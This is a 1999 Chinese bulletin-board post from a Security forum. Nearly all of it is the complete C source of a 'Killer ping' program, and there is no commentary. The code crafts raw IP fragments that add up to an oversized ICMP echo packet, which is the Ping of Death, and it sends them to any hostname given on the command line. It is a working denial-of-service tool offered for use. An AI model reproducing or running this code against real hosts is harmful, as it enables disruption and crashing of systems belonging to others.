pinger.txt

当今

发信人: biff (大可), 信区: Security 
标  题: pinger 
发信站: 武汉白云黄鹤站 (Wed Jun  2 17:29:54 1999), 站内信件 
  
/* Killer ping program */ 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/in_systm.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
  
/* 
 * If your kernel doesn't muck with raw packets, #define REALLY_RAW. 
 * This is probably only Linux. 
 */ 
#ifdef REALLY_RAW 
#define FIX(x)  htons(x) 
#else 
#define FIX(x)  (x) 
#endif 
  
int 
main(int argc, char **argv) 
{ 
        int s; 
        char buf[1500]; 
        struct ip *ip = (struct ip *)buf; 
        struct icmp *icmp = (struct icmp *)(ip + 1); 
        struct hostent *hp; 
        struct sockaddr_in dst; 
        int offset; 
        int on = 1; 
  
        bzero(buf, sizeof buf); 
  
        if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { 
                perror("socket"); 
                exit(1); 
        } 
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { 
                perror("IP_HDRINCL"); 
                exit(1); 
        } 
        if (argc != 2) { 
                fprintf(stderr, "usage: %s hostname\n", argv[0]); 
                exit(1); 
        } 
        if ((hp = gethostbyname(argv[1])) == NULL) { 
                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { 
                        fprintf(stderr, "%s: unknown host\n", argv[1]); 
                } 
        } else { 
                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); 
        } 
        printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); 
        ip->ip_v = 4; 
        ip->ip_hl = sizeof *ip >> 2; 
        ip->ip_tos = 0; 
        ip->ip_len = FIX(sizeof buf); 
        ip->ip_id = htons(4321); 
        ip->ip_off = FIX(0); 
        ip->ip_ttl = 255; 
        ip->ip_p = 1; 
        ip->ip_sum = 0;                 /* kernel fills in */ 
        ip->ip_src.s_addr = 0;          /* kernel fills in */ 
  
        dst.sin_addr = ip->ip_dst; 
        dst.sin_family = AF_INET; 
  
        icmp->icmp_type = ICMP_ECHO; 
        icmp->icmp_code = 0; 
        icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); 
                /* the checksum of all 0's is easy to compute */ 
  
        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { 
                ip->ip_off = FIX(offset >> 3); 
                if (offset < 65120) 
                        ip->ip_off |= FIX(IP_MF); 
                else 
                        ip->ip_len = FIX(418);  /* make total 65538 */ 
                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, 
                                        sizeof dst) < 0) { 
                        fprintf(stderr, "offset %d: ", offset); 
                        perror("sendto"); 
                } 

                if (offset == 0) { 
                        icmp->icmp_type = 0; 
                        icmp->icmp_code = 0; 
                        icmp->icmp_cksum = 0; 
                } 
        } 
} 
  
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